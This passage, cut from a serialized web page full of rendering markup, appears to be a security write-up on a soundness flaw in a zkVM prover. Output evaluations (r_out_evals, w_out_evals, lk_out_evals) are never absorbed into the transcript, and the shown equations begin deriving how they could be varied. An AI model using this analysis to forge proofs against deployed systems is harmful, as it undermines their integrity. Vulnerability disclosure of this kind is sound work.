props":120489,"children":120491},{"className":120490,"style":116084},[6427],[120492],{"type":24,"tag":90,"props":120493,"children":120494},{"style":23451},[120495,120499],{"type":24,"tag":90,"props":120496,"children":120498},{"className":120497,"style":6437},[6436],[],{"type":24,"tag":90,"props":120500,"children":120502},{"className":120501},[6442,6443,6444,6445],[120503],{"type":24,"tag":90,"props":120504,"children":120506},{"className":120505},[6396,23384,6445],[120507],{"type":29,"value":6123},{"type":24,"tag":90,"props":120509,"children":120511},{"className":120510},[23541],[120512],{"type":29,"value":23544},{"type":24,"tag":90,"props":120514,"children":120516},{"className":120515},[6422],[120517],{"type":24,"tag":90,"props":120518,"children":120520},{"className":120519,"style":116364},[6427],[120521],{"type":24,"tag":90,"props":120522,"children":120523},{},[],{"type":24,"tag":90,"props":120525,"children":120527},{"className":120526,"style":6514},[6475],[],{"type":24,"tag":90,"props":120529,"children":120531},{"className":120530},[6396,29],[120532],{"type":24,"tag":90,"props":120533,"children":120535},{"className":120534},[6396],[120536],{"type":29,"value":95696},{"type":24,"tag":90,"props":120538,"children":120540},{"className":120539,"style":94877},[6396],[120541],{"type":29,"value":5482},{"type":24,"tag":90,"props":120543,"children":120545},{"className":120544},[6396,29],[120546],{"type":24,"tag":90,"props":120547,"children":120549},{"className":120548},[6396],[120550],{"type":29,"value":120551},"out",{"type":24,"tag":90,"props":120553,"children":120555},{"className":120554,"style":94877},[6396],[120556],{"type":29,"value":5482},{"type":24,"tag":90,"props":120558,"children":120560},{"className":120559},[6396],[120561,120571],{"type":24,"tag":90,"props":120562,"children":120564},{"className":120563},[6396,29],[120565],{"type":24,"tag":90,"props":120566,"children":120568},{"className":120567},[6396],[120569],{"type":29,"value":120570},"evals",{"type":24,"tag":90,"props":120572,"children":120574},{"className":120573},[6412],[120575],{"type":24,"tag":90,"props":120576,"children":120578},{"className":120577},[6417,23438],[120579,120608],{"type":24,"tag":90,"props":120580,"children":120582},{"className":120581},[6422],[120583,120603],{"type":24,"tag":90,"props":120584,"children":120586},{"className":120585,"style":95406},[6427],[120587],{"type":24,"tag":90,"props":120588,"children":120589},{"style":116007},[120590,120594],{"type":24,"tag":90,"props":120591,"children":120593},{"className":120592,"style":6437},[6436],[],{"type":24,"tag":90,"props":120595,"children":120597},{"className":120596},[6442,6443,6444,6445],[120598],{"type":24,"tag":90,"props":120599,"children":120601},{"className":120600},[6396,23384,6445],[120602],{"type":29,"value":6123},{"type":24,"tag":90,"props":120604,"children":120606},{"className":120605},[23541],[120607],{"type":29,"value":23544},{"type":24,"tag":90,"props":120609,"children":120611},{"className":120610},[6422],[120612],{"type":24,"tag":90,"props":120613,"children":120615},{"className":120614,"style":94960},[6427],[120616],{"type":24,"tag":90,"props":120617,"children":120618},{},[],{"type":24,"tag":90,"props":120620,"children":120622},{"className":120621,"style":6573},[6475],[],{"type":24,"tag":90,"props":120624,"children":120626},{"className":120625},[6578],[120627],{"type":29,"value":5491},{"type":24,"tag":90,"props":120629,"children":120631},{"className":120630,"style":6573},[6475],[],{"type":24,"tag":90,"props":120633,"children":120635},{"className":120634},[6385],[120636,120641,120698,120702,120711,120716,120725,120730,120792,120796,120801],{"type":24,"tag":90,"props":120637,"children":120640},{"className":120638,"style":120639},[6390],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":24,"tag":90,"props":120642,"children":120644},{"className":120643},[23420],[120645,120650],{"type":24,"tag":90,"props":120646,"children":120648},{"className":120647,"style":23427},[23420,23425,23426],[120649],{"type":29,"value":120475},{"type":24,"tag":90,"props":120651,"children":120653},{"className":120652},[6412],[120654],{"type":24,"tag":90,"props":120655,"children":120657},{"className":120656},[6417,23438],[120658,120687],{"type":24,"tag":90,"props":120659,"children":120661},{"className":120660},[6422],[120662,120682],{"type":24,"tag":90,"props":120663,"children":120665},{"className":120664,"style":116084},[6427],[120666],{"type":24,"tag":90,"props":120667,"children":120668},{"style":23451},[120669,120673],{"type":24,"tag":90,"props":120670,"children":120672},{"className":120671,"style":6437},[6436],[],{"type":24,"tag":90,"props":120674,"children":120676},{"className":120675},[6442,6443,6444,6445],[120677],{"type":24,"tag":90,"props":120678,"children":120680},{"className":120679,"style":116100},[6396,23384,6445],[120681],{"type":29,"value":11032},{"type":24,"tag":90,"props":120683,"children":120685},{"className":120684},[23541],[120686],{"type":29,"value":23544},{"type":24,"tag":90,"props":120688,"children":120690},{"className":120689},[6422],[120691],{"type":24,"tag":90,"props":120692,"children":120694},{"className":120693,"style":116115},[6427],[120695],{"type":24,"tag":90,"props":120696,"children":120697},{},[],{"type":24,"tag":90,"props":120699,"children":120701},{"className":120700,"style":6514},[6475],[],{"type":24,"tag":90,"props":120703,"children":120705},{"className":120704},[6396,29],[120706],{"type":24,"tag":90,"props":120707,"children":120709},{"className":120708},[6396],[120710],{"type":29,"value":51395},{"type":24,"tag":90,"props":120712,"children":120714},{"className":120713,"style":94877},[6396],[120715],{"type":29,"value":5482},{"type":24,"tag":90,"props":120717,"children":120719},{"className":120718},[6396,29],[120720],{"type":24,"tag":90,"props":120721,"children":120723},{"className":120722},[6396],[120724],{"type":29,"value":120551},{"type":24,"tag":90,"props":120726,"children":120728},{"className":120727,"style":94877},[6396],[120729],{"type":29,"value":5482},{"type":24,"tag":90,"props":120731,"children":120733},{"className":120732},[6396],[120734,120743],{"type":24,"tag":90,"props":120735,"children":120737},{"className":120736},[6396,29],[120738],{"type":24,"tag":90,"props":120739,"children":120741},{"className":120740},[6396],[120742],{"type":29,"value":120570},{"type":24,"tag":90,"props":120744,"children":120746},{"className":120745},[6412],[120747],{"type":24,"tag":90,"props":120748,"children":120750},{"className":120749},[6417,23438],[120751,120780],{"type":24,"tag":90,"props":120752,"children":120754},{"className":120753},[6422],[120755,120775],{"type":24,"tag":90,"props":120756,"children":120758},{"className":120757,"style":95406},[6427],[120759],{"type":24,"tag":90,"props":120760,"children":120761},{"style":116007},[120762,120766],{"type":24,"tag":90,"props":120763,"children":120765},{"className":120764,"style":6437},[6436],[],{"type":24,"tag":90,"props":120767,"children":120769},{"className":120768},[6442,6443,6444,6445],[120770],{"type":24,"tag":90,"props":120771,"children":120773},{"className":120772,"style":116100},[6396,23384,6445],[120774],{"type":29,"value":11032},{"type":24,"tag":90,"props":120776,"children":120778},{"className":120777},[23541],[120779],{"type":29,"value":23544},{"type":24,"tag":90,"props":120781,"children":120783},{"className":120782},[6422],[120784],{"type":24,"tag":90,"props":120785,"children":120788},{"className":120786,"style":120787},[6427],"height:0.2861em;",[120789],{"type":24,"tag":90,"props":120790,"children":120791},{},[],{"type":24,"tag":90,"props":120793,"children":120795},{"className":120794,"style":6476},[6475],[],{"type":24,"tag":90,"props":120797,"children":120799},{"className":120798},[6481],[120800],{"type":29,"value":113139},{"type":24,"tag":90,"props":120802,"children":120804},{"className":120803,"style":6476},[6475],[],{"type":24,"tag":90,"props":120806,"children":120808},{"className":120807},[6385],[120809,120813,120818,120828],{"type":24,"tag":90,"props":120810,"children":120812},{"className":120811,"style":6496},[6390],[],{"type":24,"tag":90,"props":120814,"children":120816},{"className":120815},[23513],[120817],{"type":29,"value":117},{"type":24,"tag":90,"props":120819,"children":120821},{"className":120820},[6396,29],[120822],{"type":24,"tag":90,"props":120823,"children":120825},{"className":120824},[6396],[120826],{"type":29,"value":120827},"state factors",{"type":24,"tag":90,"props":120829,"children":120831},{"className":120830},[23535],[120832],{"type":29,"value":517},{"type":24,"tag":25,"props":120834,"children":120835},{},[120836],{"type":24,"tag":7711,"props":120837,"children":120838},{},[120839],{"type":29,"value":117293},{"type":24,"tag":80,"props":120841,"children":120843},{"code":120842},"ZKVMChipProof {\n r_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n w_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n lk_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n tower_proof: [...],\n gkr_iop_proof: [...],\n}\n",[120844],{"type":24,"tag":32,"props":120845,"children":120846},{"__ignoreMap":7},[120847],{"type":29,"value":120842},{"type":24,"tag":25,"props":120849,"children":120850},{},[120851,120857,120858,120864,120865,120871],{"type":24,"tag":32,"props":120852,"children":120854},{"className":120853},[],[120855],{"type":29,"value":120856},"r_out_evals",{"type":29,"value":133},{"type":24,"tag":32,"props":120859,"children":120861},{"className":120860},[],[120862],{"type":29,"value":120863},"w_out_evals",{"type":29,"value":8872},{"type":24,"tag":32,"props":120866,"children":120868},{"className":120867},[],[120869],{"type":29,"value":120870},"lk_out_evals",{"type":29,"value":120872}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":24,"tag":3100,"props":120874,"children":120875},{},[120876],{"type":24,"tag":3104,"props":120877,"children":120878},{},[120879,120884,120886,120892],{"type":24,"tag":7711,"props":120880,"children":120881},{},[120882],{"type":29,"value":120883},"GKR/Tower equation",{"type":29,"value":120885}," (linear in ",{"type":24,"tag":32,"props":120887,"children":120889},{"className":120888},[],[120890],{"type":29,"value":120891},"out_evals",{"type":29,"value":25754},{"type":24,"tag":25,"props":120894,"children":120895},{},[120896,120898],{"type":29,"value":120897},"The tower sumcheck claim is ",{"type":24,"tag":32,"props":120899,"children":120901},{"className":120900},[6368,6369],[120902],{"type":24,"tag":90,"props":120903,"children":120905},{"className":120904},[6374],[120906],{"type":24,"tag":90,"props":120907,"children":120909},{"className":120908,"ariaHidden":6380},[6379],[120910,120941,121066],{"type":24,"tag":90,"props":120911,"children":120913},{"className":120912},[6385],[120914,120918,120928,120932,120937],{"type":24,"tag":90,"props":120915,"children":120917},{"className":120916,"style":94792},[6390],[],{"type":24,"tag":90,"props":120919,"children":120921},{"className":120920},[6396,29],[120922],{"type":24,"tag":90,"props":120923,"children":120925},{"className":120924},[6396],[120926],{"type":29,"value":120927},"claim",{"type":24,"tag":90,"props":120929,"children":120931},{"className":120930,"style":6573},[6475],[],{"type":24,"tag":90,"props":120933,"children":120935},{"className":120934},[6578],[120936],{"type":29,"value":5491},{"type":24,"tag":90,"props":120938,"children":120940},{"className":120939,"style":6573},[6475],[],{"type":24,"tag":90,"props":120942,"children":120944},{"className":120943},[6385],[120945,120950,121007,121011,121053,121057,121062],{"type":24,"tag":90,"props":120946,"children":120949},{"className":120947,"style":120948},[6390],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":24,"tag":90,"props":120951,"children":120953},{"className":120952},[23420],[120954,120959],{"type":24,"tag":90,"props":120955,"children":120957},{"className":120956,"style":23427},[23420,23425,23426],[120958],{"type":29,"value":110672},{"type":24,"tag":90,"props":120960,"children":120962},{"className":120961},[6412],[120963],{"type":24,"tag":90,"props":120964,"children":120966},{"className":120965},[6417,23438],[120967,120996],{"type":24,"tag":90,"props":120968,"children":120970},{"className":120969},[6422],[120971,120991],{"type":24,"tag":90,"props":120972,"children":120974},{"className":120973,"style":116084},[6427],[120975],{"type":24,"tag":90,"props":120976,"children":120977},{"style":23451},[120978,120982],{"type":24,"tag":90,"props":120979,"children":120981},{"className":120980,"style":6437},[6436],[],{"type":24,"tag":90,"props":120983,"children":120985},{"className":120984},[6442,6443,6444,6445],[120986],{"type":24,"tag":90,"props":120987,"children":120989},{"className":120988,"style":116100},[6396,23384,6445],[120990],{"type":29,"value":11032},{"type":24,"tag":90,"props":120992,"children":120994},{"className":120993},[23541],[120995],{"type":29,"value":23544},{"type":24,"tag":90,"props":120997,"children":120999},{"className":120998},[6422],[121000],{"type":24,"tag":90,"props":121001,"children":121003},{"className":121002,"style":116115},[6427],[121004],{"type":24,"tag":90,"props":121005,"children":121006},{},[],{"type":24,"tag":90,"props":121008,"children":121010},{"className":121009,"style":6514},[6475],[],{"type":24,"tag":90,"props":121012,"children":121014},{"className":121013},[6396],[121015,121020],{"type":24,"tag":90,"props":121016,"children":121018},{"className":121017,"style":116965},[6396,23384],[121019],{"type":29,"value":116968},{"type":24,"tag":90,"props":121021,"children":121023},{"className":121022},[6412],[121024],{"type":24,"tag":90,"props":121025,"children":121027},{"className":121026},[6417],[121028],{"type":24,"tag":90,"props":121029,"children":121031},{"className":121030},[6422],[121032],{"type":24,"tag":90,"props":121033,"children":121036},{"className":121034,"style":121035},[6427],"height:0.8247em;",[121037],{"type":24,"tag":90,"props":121038,"children":121039},{"style":6431},[121040,121044],{"type":24,"tag":90,"props":121041,"children":121043},{"className":121042,"style":6437},[6436],[],{"type":24,"tag":90,"props":121045,"children":121047},{"className":121046},[6442,6443,6444,6445],[121048],{"type":24,"tag":90,"props":121049,"children":121051},{"className":121050,"style":116100},[6396,23384,6445],[121052],{"type":29,"value":11032},{"type":24,"tag":90,"props":121054,"children":121056},{"className":121055,"style":6476},[6475],[],{"type":24,"tag":90,"props":121058,"children":121060},{"className":121059},[6481],[121061],{"type":29,"value":113139},{"type":24,"tag":90,"props":121063,"children":121065},{"className":121064,"style":6476},[6475],[],{"type":24,"tag":90,"props":121067,"children":121069},{"className":121068},[6385],[121070,121074,121083,121088],{"type":24,"tag":90,"props":121071,"children":121073},{"className":121072,"style":96290},[6390],[],{"type":24,"tag":90,"props":121075,"children":121077},{"className":121076},[6396,29],[121078],{"type":24,"tag":90,"props":121079,"children":121081},{"className":121080},[6396],[121082],{"type":29,"value":120551},{"type":24,"tag":90,"props":121084,"children":121086},{"className":121085,"style":94877},[6396],[121087],{"type":29,"value":5482},{"type":24,"tag":90,"props":121089,"children":121091},{"className":121090},[6396],[121092,121101],{"type":24,"tag":90,"props":121093,"children":121095},{"className":121094},[6396,29],[121096],{"type":24,"tag":90,"props":121097,"children":121099},{"className":121098},[6396],[121100],{"type":29,"value":120570},{"type":24,"tag":90,"props":121102,"children":121104},{"className":121103},[6412],[121105],{"type":24,"tag":90,"props":121106,"children":121108},{"className":121107},[6417,23438],[121109,121138],{"type":24,"tag":90,"props":121110,"children":121112},{"className":121111},[6422],[121113,121133],{"type":24,"tag":90,"props":121114,"children":121116},{"className":121115,"style":95406},[6427],[121117],{"type":24,"tag":90,"props":121118,"children":121119},{"style":116007},[121120,121124],{"type":24,"tag":90,"props":121121,"children":121123},{"className":121122,"style":6437},[6436],[],{"type":24,"tag":90,"props":121125,"children":121127},{"className":121126},[6442,6443,6444,6445],[121128],{"type":24,"tag":90,"props":121129,"children":121131},{"className":121130,"style":116100},[6396,23384,6445],[121132],{"type":29,"value":11032},{"type":24,"tag":90,"props":121134,"children":121136},{"className":121135},[23541],[121137],{"type":29,"value":23544},{"type":24,"tag":90,"props":121139,"children":121141},{"className":121140},[6422],[121142],{"type":24,"tag":90,"props":121143,"children":121145},{"className":121144,"style":120787},[6427],[121146],{"type":24,"tag":90,"props":121147,"children":121148},{},[],{"type":24,"tag":25,"props":121150,"children":121151},{},[121152,121154,121159],{"type":29,"value":121153},"This check is linear in ",{"type":24,"tag":32,"props":121155,"children":121157},{"className":121156},[],[121158],{"type":29,"value":120891},{"type":29,"value":226},{"type":24,"tag":3100,"props":121161,"children":121162},{"start":200},[121163],{"type":24,"tag":3104,"props":121164,"children":121165},{},[121166,121171,121173,121178],{"type":24,"tag":7711,"props":121167,"children":121168},{},[121169],{"type":29,"value":121170},"rw-product consistency",{"type":29,"value":121172}," (bilinear in ",{"type":24,"tag":32,"props":121174,"children":121176},{"className":121175},[],[121177],{"type":29,"value":120891},{"type":29,"value":25754},{"type":24,"tag":25,"props":121180,"children":121181},{},[121182],{"type":24,"tag":32,"props":121183,"children":121185},{"className":121184},[6368,6369],[121186],{"type":24,"tag":90,"props":121187,"children":121189},{"className":121188},[6374],[121190],{"type":24,"tag":90,"props":121191,"children":121193},{"className":121192,"ariaHidden":6380},[6379],[121194,121365,121536],{"type":24,"tag":90,"props":121195,"children":121197},{"className":121196},[6385],[121198,121202,121259,121263,121272,121277,121286,121291,121352,121356,121361],{"type":24,"tag":90,"props":121199,"children":121201},{"className":121200,"style":94819},[6390],[],{"type":24,"tag":90,"props":121203,"children":121205},{"className":121204},[23420],[121206,121211],{"type":24,"tag":90,"props":121207,"children":121209},{"className":121208,"style":23427},[23420,23425,23426],[121210],{"type":29,"value":120475},{"type":24,"tag":90,"props":121212,"children":121214},{"className":121213},[6412],[121215],{"type":24,"tag":90,"props":121216,"children":121218},{"className":121217},[6417,23438],[121219,121248],{"type":24,"tag":90,"props":121220,"children":121222},{"className":121221},[6422],[121223,121243],{"type":24,"tag":90,"props":121224,"children":121226},{"className":121225,"style":116084},[6427],[121227],{"type":24,"tag":90,"props":121228,"children":121229},{"style":23451},[121230,121234],{"type":24,"tag":90,"props":121231,"children":121233},{"className":121232,"style":6437},[6436],[],{"type":24,"tag":90,"props":121235,"children":121237},{"className":121236},[6442,6443,6444,6445],[121238],{"type":24,"tag":90,"props":121239,"children":121241},{"className":121240},[6396,23384,6445],[121242],{"type":29,"value":6123},{"type":24,"tag":90,"props":121244,"children":121246},{"className":121245},[23541],[121247],{"type":29,"value":23544},{"type":24,"tag":90,"props":121249,"children":121251},{"className":121250},[6422],[121252],{"type":24,"tag":90,"props":121253,"children":121255},{"className":121254,"style":116364},[6427],[121256],{"type":24,"tag":90,"props":121257,"children":121258},{},[],{"type":24,"tag":90,"props":121260,"children":121262},{"className":121261,"style":6514},[6475],[],{"type":24,"tag":90,"props":121264,"children":121266},{"className":121265},[6396,29],[121267],{"type":24,"tag":90,"props":121268,"children":121270},{"className":121269},[6396],[121271],{"type":29,"value":95696},{"type":24,"tag":90,"props":121273,"children":121275},{"className":121274,"style":94877},[6396],[121276],{"type":29,"value":5482},{"type":24,"tag":90,"props":121278,"children":121280},{"className":121279},[6396,29],[121281],{"type":24,"tag":90,"props":121282,"children":121284},{"className":121283},[6396],[121285],{"type":29,"value":120551},{"type":24,"tag":90,"props":121287,"children":121289},{"className":121288,"style":94877},[6396],[121290],{"type":29,"value":5482},{"type":24,"tag":90,"props":121292,"children":121294},{"className":121293},[6396],[121295,121304],{"type":24,"tag":90,"props":121296,"children":121298},{"className":121297},[6396,29],[121299],{"type":24,"tag":90,"props":121300,"children":121302},{"className":121301},[6396],[121303],{"type":29,"value":120570},{"type":24,"tag":90,"props":121305,"children":121307},{"className":121306},[6412],[121308],{"type":24,"tag":90,"props":121309,"children":121311},{"className":121310},[6417,23438],[121312,121341],{"type":24,"tag":90,"props":121313,"children":121315},{"className":121314},[6422],[121316,121336],{"type":24,"tag":90,"props":121317,"children":121319},{"className":121318,"style":95406},[6427],[121320],{"type":24,"tag":90,"props":121321,"children":121322},{"style":116007},[121323,121327],{"type":24,"tag":90,"props":121324,"children":121326},{"className":121325,"style":6437},[6436],[],{"type":24,"tag":90,"props":121328,"children":121330},{"className":121329},[6442,6443,6444,6445],[121331],{"type":24,"tag":90,"props":121332,"children":121334},{"className":121333},[6396,23384,6445],[121335],{"type":29,"value":6123},{"type":24,"tag":90,"props":121337,"children":121339},{"className":121338},[23541],[121340],{"type":29,"value":23544},{"type":24,"tag":90,"props":121342,"children":121344},{"className":121343},[6422],[121345],{"type":24,"tag":90,"props":121346,"children":121348},{"className":121347,"style":94960},[6427],[121349],{"type":24,"tag":90,"props":121350,"children":121351},{},[],{"type":24,"tag":90,"props":121353,"children":121355},{"className":121354,"style":6573},[6475],[],{"type":24,"tag":90,"props":121357,"children":121359},{"className":121358},[6578],[121360],{"type":29,"value":5491},{"type":24,"tag":90,"props":121362,"children":121364},{"className":121363,"style":6573},[6475],[],{"type":24,"tag":90,"props":121366,"children":121368},{"className":121367},[6385],[121369,121373,121430,121434,121443,121448,121457,121462,121523,121527,121532],{"type":24,"tag":90,"props":121370,"children":121372},{"className":121371,"style":120639},[6390],[],{"type":24,"tag":90,"props":121374,"children":121376},{"className":121375},[23420],[121377,121382],{"type":24,"tag":90,"props":121378,"children":121380},{"className":121379,"style":23427},[23420,23425,23426],[121381],{"type":29,"value":120475},{"type":24,"tag":90,"props":121383,"children":121385},{"className":121384},[6412],[121386],{"type":24,"tag":90,"props":121387,"children":121389},{"className":121388},[6417,23438],[121390,121419],{"type":24,"tag":90,"props":121391,"children":121393},{"className":121392},[6422],[121394,121414],{"type":24,"tag":90,"props":121395,"children":121397},{"className":121396,"style":116084},[6427],[121398],{"type":24,"tag":90,"props":121399,"children":121400},{"style":23451},[121401,121405],{"type":24,"tag":90,"props":121402,"children":121404},{"className":121403,"style":6437},[6436],[],{"type":24,"tag":90,"props":121406,"children":121408},{"className":121407},[6442,6443,6444,6445],[121409],{"type":24,"tag":90,"props":121410,"children":121412},{"className":121411,"style":116100},[6396,23384,6445],[121413],{"type":29,"value":11032},{"type":24,"tag":90,"props":121415,"children":121417},{"className":121416},[23541],[121418],{"type":29,"value":23544},{"type":24,"tag":90,"props":121420,"children":121422},{"className":121421},[6422],[121423],{"type":24,"tag":90,"props":121424,"children":121426},{"className":121425,"style":116115},[6427],[121427],{"type":24,"tag":90,"props":121428,"children":121429},{},[],{"type":24,"tag":90,"props":121431,"children":121433},{"className":121432,"style":6514},[6475],[],{"type":24,"tag":90,"props":121435,"children":121437},{"className":121436},[6396,29],[121438],{"type":24,"tag":90,"props":121439,"children":121441},{"className":121440},[6396],[121442],{"type":29,"value":51395},{"type":24,"tag":90,"props":121444,"children":121446},{"className":121445,"style":94877},[6396],[121447],{"type":29,"value":5482},{"type":24,"tag":90,"props":121449,"children":121451},{"className":121450},[6396,29],[121452],{"type":24,"tag":90,"props":121453,"children":121455},{"className":121454},[6396],[121456],{"type":29,"value":120551},{"type":24,"tag":90,"props":121458,"children":121460},{"className":121459,"style":94877},[6396],[121461],{"type":29,"value":5482},{"type":24,"tag":90,"props":121463,"children":121465},{"className":121464},[6396],[121466,121475],{"type":24,"tag":90,"props":121467,"children":121469},{"className":121468},[6396,29],[121470],{"type":24,"tag":90,"props":121471,"children":121473},{"className":121472},[6396],[121474],{"type":29,"value":120570},{"type":24,"tag":90,"props":121476,"children":121478},{"className":121477},[6412],[121479],{"type":24,"tag":90,"props":121480,"children":121482},{"className":121481},[6417,23438],[121483,121512],{"type":24,"tag":90,"props":121484,"children":121486},{"className":121485},[6422],[121487,121507],{"type":24,"tag":90,"props":121488,"children":121490},{"className":121489,"style":95406},[6427],[121491],{"type":24,"tag":90,"props":121492,"children":121493},{"style":116007},[121494,121498],{"type":24,"tag":90,"props":121495,"children":121497},{"className":121496,"style":6437},[6436],[],{"type":24,"tag":90,"props":121499,"children":121501},{"className":121500},[6442,6443,6444,6445],[121502],{"type":24,"tag":90,"props":121503,"children":121505},{"className":121504,"style":116100},[6396,23384,6445],[121506],{"type":29,"value":11032},{"type":24,"tag":90,"props":121508,"children":121510},{"className":121509},[23541],[121511],{"type":29,"value":23544},{"type":24,"tag":90,"props":121513,"children":121515},{"className":121514},[6422],[121516],{"type":24,"tag":90,"props":121517,"children":121519},{"className":121518,"style":120787},[6427],[121520],{"type":24,"tag":90,"props":121521,"children":121522},{},[],{"type":24,"tag":90,"props":121524,"children":121526},{"className":121525,"style":6476},[6475],[],{"type":24,"tag":90,"props":121528,"children":121530},{"className":121529},[6481],[121531],{"type":29,"value":113139},{"type":24,"tag":90,"props":121533,"children":121535},{"className":121534,"style":6476},[6475],[],{"type":24,"tag":90,"props":121537,"children":121539},{"className":121538},[6385],[121540,121544,121549,121558],{"type":24,"tag":90,"props":121541,"children":121543},{"className":121542,"style":6496},[6390],[],{"type":24,"tag":90,"props":121545,"children":121547},{"className":121546},[23513],[121548],{"type":29,"value":117},{"type":24,"tag":90,"props":121550,"children":121552},{"className":121551},[6396,29],[121553],{"type":24,"tag":90,"props":121554,"children":121556},{"className":121555},[6396],[121557],{"type":29,"value":120827},{"type":24,"tag":90,"props":121559,"children":121561},{"className":121560},[23535],[121562],{"type":29,"value":517},{"type":24,"tag":25,"props":121564,"children":121565},{},[121566,121568,121737,121738,121907],{"type":29,"value":121567},"If we vary ",{"type":24,"tag":32,"props":121569,"children":121571},{"className":121570},[6368,6369],[121572],{"type":24,"tag":90,"props":121573,"children":121575},{"className":121574},[6374],[121576],{"type":24,"tag":90,"props":121577,"children":121579},{"className":121578,"ariaHidden":6380},[6379],[121580,121658],{"type":24,"tag":90,"props":121581,"children":121583},{"className":121582},[6385],[121584,121588,121645,121649,121654],{"type":24,"tag":90,"props":121585,"children":121587},{"className":121586,"style":111847},[6390],[],{"type":24,"tag":90,"props":121589,"children":121591},{"className":121590},[6396],[121592,121597],{"type":24,"tag":90,"props":121593,"children":121595},{"className":121594},[6396,23384],[121596],{"type":29,"value":21070},{"type":24,"tag":90,"props":121598,"children":121600},{"className":121599},[6412],[121601],{"type":24,"tag":90,"props":121602,"children":121604},{"className":121603},[6417,23438],[121605,121634],{"type":24,"tag":90,"props":121606,"children":121608},{"className":121607},[6422],[121609,121629],{"type":24,"tag":90,"props":121610,"children":121612},{"className":121611,"style":94929},[6427],[121613],{"type":24,"tag":90,"props":121614,"children":121615},{"style":94933},[121616,121620],{"type":24,"tag":90,"props":121617,"children":121619},{"className":121618,"style":6437},[6436],[],{"type":24,"tag":90,"props":121621,"children":121623},{"className":121622},[6442,6443,6444,6445],[121624],{"type":24,"tag":90,"props":121625,"children":121627},{"className":121626},[6396,6445],[121628],{"type":29,"value":6408},{"type":24,"tag":90,"props":121630,"children":121632},{"className":121631},[23541],[121633],{"type":29,"value":23544},{"type":24,"tag":90,"props":121635,"children":121637},{"className":121636},[6422],[121638],{"type":24,"tag":90,"props":121639,"children":121641},{"className":121640,"style":94960},[6427],[121642],{"type":24,"tag":90,"props":121643,"children":121644},{},[],{"type":24,"tag":90,"props":121646,"children":121648},{"className":121647,"style":6573},[6475],[],{"type":24,"tag":90,"props":121650,"children":121652},{"className":121651},[6578],[121653],{"type":29,"value":5491},{"type":24,"tag":90,"props":121655,"children":121657},{"className":121656,"style":6573},[6475],[],{"type":24,"tag":90,"props":121659,"children":121661},{"className":121660},[6385],[121662,121666,121707,121712,121717,121722,121727,121732],{"type":24,"tag":90,"props":121663,"children":121665},{"className":121664,"style":94819},[6390],[],{"type":24,"tag":90,"props":121667,"children":121669},{"className":121668},[6396],[121670,121679,121684,121693,121698],{"type":24,"tag":90,"props":121671,"children":121673},{"className":121672},[6396,29],[121674],{"type":24,"tag":90,"props":121675,"children":121677},{"className":121676},[6396],[121678],{"type":29,"value":95696},{"type":24,"tag":90,"props":121680,"children":121682},{"className":121681,"style":94877},[6396],[121683],{"type":29,"value":5482},{"type":24,"tag":90,"props":121685,"children":121687},{"className":121686},[6396,29],[121688],{"type":24,"tag":90,"props":121689,"children":121691},{"className":121690},[6396],[121692],{"type":29,"value":120551},{"type":24,"tag":90,"props":121694,"children":121696},{"className":121695,"style":94877},[6396],[121697],{"type":29,"value":5482},{"type":24,"tag":90,"props":121699,"children":121701},{"className":121700},[6396,29],[121702],{"type":24,"tag":90,"props":121703,"children":121705},{"className":121704},[6396],[121706],{"type":29,"value":120570},{"type":24,"tag":90,"props":121708,"children":121710},{"className":121709},[23513],[121711],{"type":29,"value":719},{"type":24,"tag":90,"props":121713,"children":121715},{"className":121714},[6396],[121716],{"type":29,"value":6408},{"type":24,"tag":90,"props":121718,"children":121720},{"className":121719},[23535],[121721],{"type":29,"value":1914},{"type":24,"tag":90,"props":121723,"children":121725},{"className":121724},[23513],[121726],{"type":29,"value":719},{"type":24,"tag":90,"props":121728,"children":121730},{"className":121729},[6396],[121731],{"type":29,"value":6408},{"type":24,"tag":90,"props":121733,"children":121735},{"className":121734},[23535],[121736],{"type":29,"value":1914},{"type":29,"value":13360},{"type":24,"tag":32,"props":121739,"children":121741},{"className":121740},[6368,6369],[121742],{"type":24,"tag":90,"props":121743,"children":121745},{"className":121744},[6374],[121746],{"type":24,"tag":90,"props":121747,"children":121749},{"className":121748,"ariaHidden":6380},[6379],[121750,121828],{"type":24,"tag":90,"props":121751,"children":121753},{"className":121752},[6385],[121754,121758,121815,121819,121824],{"type":24,"tag":90,"props":121755,"children":121757},{"className":121756,"style":111847},[6390],[],{"type":24,"tag":90,"props":121759,"children":121761},{"className":121760},[6396],[121762,121767],{"type":24,"tag":90,"props":121763,"children":121765},{"className":121764},[6396,23384],[121766],{"type":29,"value":21070},{"type":24,"tag":90,"props":121768,"children":121770},{"className":121769},[6412],[121771],{"type":24,"tag":90,"props":121772,"children":121774},{"className":121773},[6417,23438],[121775,121804],{"type":24,"tag":90,"props":121776,"children":121778},{"className":121777},[6422],[121779,121799],{"type":24,"tag":90,"props":121780,"children":121782},{"className":121781,"style":94929},[6427],[121783],{"type":24,"tag":90,"props":121784,"children":121785},{"style":94933},[121786,121790],{"type":24,"tag":90,"props":121787,"children":121789},{"className":121788,"style":6437},[6436],[],{"type":24,"tag":90,"props":121791,"children":121793},{"className":121792},[6442,6443,6444,6445],[121794],{"type":24,"tag":90,"props":121795,"children":121797},{"className":121796},[6396,6445],[121798],{"type":29,"value":534},{"type":24,"tag":90,"props":121800,"children":121802},{"className":121801},[23541],[121803],{"type":29,"value":23544},{"type":24,"tag":90,"props":121805,"children":121807},{"className":121806},[6422],[121808],{"type":24,"tag":90,"props":121809,"children":121811},{"className":121810,"style":94960},[6427],[121812],{"type":24,"tag":90,"props":121813,"children":121814},{},[],{"type":24,"tag":90,"props":121816,"children":121818},{"className":121817,"style":6573},[6475],[],{"type":24,"tag":90,"props":121820,"children":121822},{"className":121821},[6578],[121823],{"type":29,"value":5491},{"type":24,"tag":90,"props":121825,"children":121827},{"className":121826,"style":6573},[6475],[],{"type":24,"tag":90,"props":121829,"children":121831},{"className":121830},[6385],[121832,121836,121877,121882,121887,121892,121897,121902],{"type":24,"tag":90,"props":121833,"children":121835},{"className":121834,"style":94819},[6390],[],{"type":24,"tag":90,"props":121837,"children":121839},{"className":121838},[6396],[121840,121849,121854,121863,121868],{"type":24,"tag":90,"props":121841,"children":121843},{"className":121842},[6396,29],[121844],{"type":24,"tag":90,"props":121845,"children":121847},{"className":121846},[6396],[121848],{"type":29,"value":95696},{"type"